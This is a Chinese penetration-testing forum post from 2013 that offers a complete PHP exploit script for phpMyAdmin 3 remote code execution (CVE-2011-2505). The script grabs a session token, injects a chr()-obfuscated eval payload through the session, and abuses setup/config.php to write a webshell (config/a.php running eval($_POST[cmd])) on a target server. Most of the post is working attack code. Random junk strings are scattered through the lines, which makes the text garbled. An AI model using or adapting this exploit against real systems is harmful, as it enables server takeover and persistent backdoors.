中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

---

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
, N9 `3 V. v/ N& [1 S
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
1 T" t( f2 Z* L* T. l
& p) _. f- [$ e. q. ?& F在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

! i' U) Z5 K4 t% j, V2 g2 @6 y8 y于是写了这个php版本的exp，代码如下：
. g5 B1 q" A+ a  }: t) O
#!/usr/bin/php
<?php
+ {0 W& A3 |: ^( X( N  _print_r('
& s* b, }$ V/ R2 x# K+---------------------------------------------------------------------------+
3 h# L1 o* `$ N8 X8 P- Y9 g3 Kpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
0 T# ^' o; D9 W; T5 m+ Uby oldjun(www.oldjun.com)
welcome to www.t00ls.net
( p; [+ @3 g5 D6 Smail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
* }, i" S3 t# f- C0 I& A8 f  ^8 ]+---------------------------------------------------------------------------+
0 T  Q5 ^+ ~1 ~% O& k');

/**
# |+ [' ?; r) X7 S$ E- W0 p& a# Y- h * working when the directory:"config" exists and is writeable.
**/
. @4 G: L. q3 s" X  n- F5 ?
" D0 J$ [: |: `7 S" s$ S: oif ($argc < 3) {
2 [" k; Z- }# e* f( [, y) z8 v9 @0 l' d    print_r('
2 \3 ^; a# @2 X! i  Z+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
3 X( w$ N+ H7 l8 Xpath:      path to pma3
Example:
* M$ N" \. E- i. b! nphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
    exit;
}

. u$ D/ Y$ S5 D  D$host = $argv[1];
$path = $argv[2];
! Z  C" _' X+ f  Z. W' G1 ~5 R
: F* S) {) f2 i: L( F' ~: U2 W  P/**
* Try to determine if the directory:"config" exists
% G$ h1 |- B8 ~% V: J) f! _% E/ K**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
- q, r, i7 C# V& Nif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
  ~% F8 ]* E/ v9 V+ G2 _9 @}

$ S. @  p+ \. s# b  _/**
* Try to get token and sessionid
**/
. y8 \& b' u9 F0 I* xecho "[+] Try to get token and sessionid....\n";
, s4 l% @! P/ l- a7 {3 S$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
& U- d- J4 B% ]! W! }* r$sessionid=$resp[1];
; j8 A& \) h& l: E) Z( xif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
* Try to insert shell into session
  v+ C( v! A; s0 e" Q: E**/
/ b3 F' _4 }0 b7 secho "[+] Try to insert shell into session....\n";
& ]+ C  R' }1 `) @php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
5 F7 y( N2 f# _2 q
- O* w& ^4 J9 |, U. B; O/**
3 \% ?( x( f5 F' b( B! x * Try to create webshell
" w% Y1 ]5 n% D; \. Y**/
' M$ b8 P* k% m2 j) Yecho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/ ^! F- Z& _: v% I/**
9 k6 k2 B7 O0 u6 J, j% F * Try to check if the webshell was created successfully
' [/ D, _" Q$ H) R0 Q**/
+ f' }1 W9 c+ |8 M, m. w- \; Becho "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
$ d! `- `3 j, D, W7 P7 @if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
  @  `" S& q& E3 b; x( @0 h    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 V9 N. Y/ w4 }8 K}

8 j  n( O2 N( V% hfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
    $method=$data?'POST':'GET';
4 f0 i: m% R' r! g   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
! _+ X( ^5 h" A1 c2 k    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
5 ]( z2 A' x, X6 z* i1 a) _: [    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
3 ]4 e9 u$ y8 p+ g; G2 t& w! |    $packet .= $cookie?"Cookie: $cookie\r\n":"";
9 O! P! \+ i- A. [0 e7 U    $packet .= "Connection: Close\r\n\r\n";
0 |- \4 g8 a' e- W+ `    $packet .= $data?$data:"";

5 z4 T/ R4 b+ w9 Z    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
" p5 w7 X1 r3 k* M& U    }
9 l5 l5 b  ~# p6 y    fputs($fp, $packet);
  x- S  c* h5 r" @8 z
) p7 @! D0 |3 u+ S    $resp = '';

* w1 X$ f5 g  n/ l) J. q: ?    while ($fp && !feof($fp))
& k! L& M, F2 e) S3 X" r        $resp .= fread($fp, 1024);

* t" X" y& I5 }3 p8 \& ]    return $resp;
}
   
?>
.

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2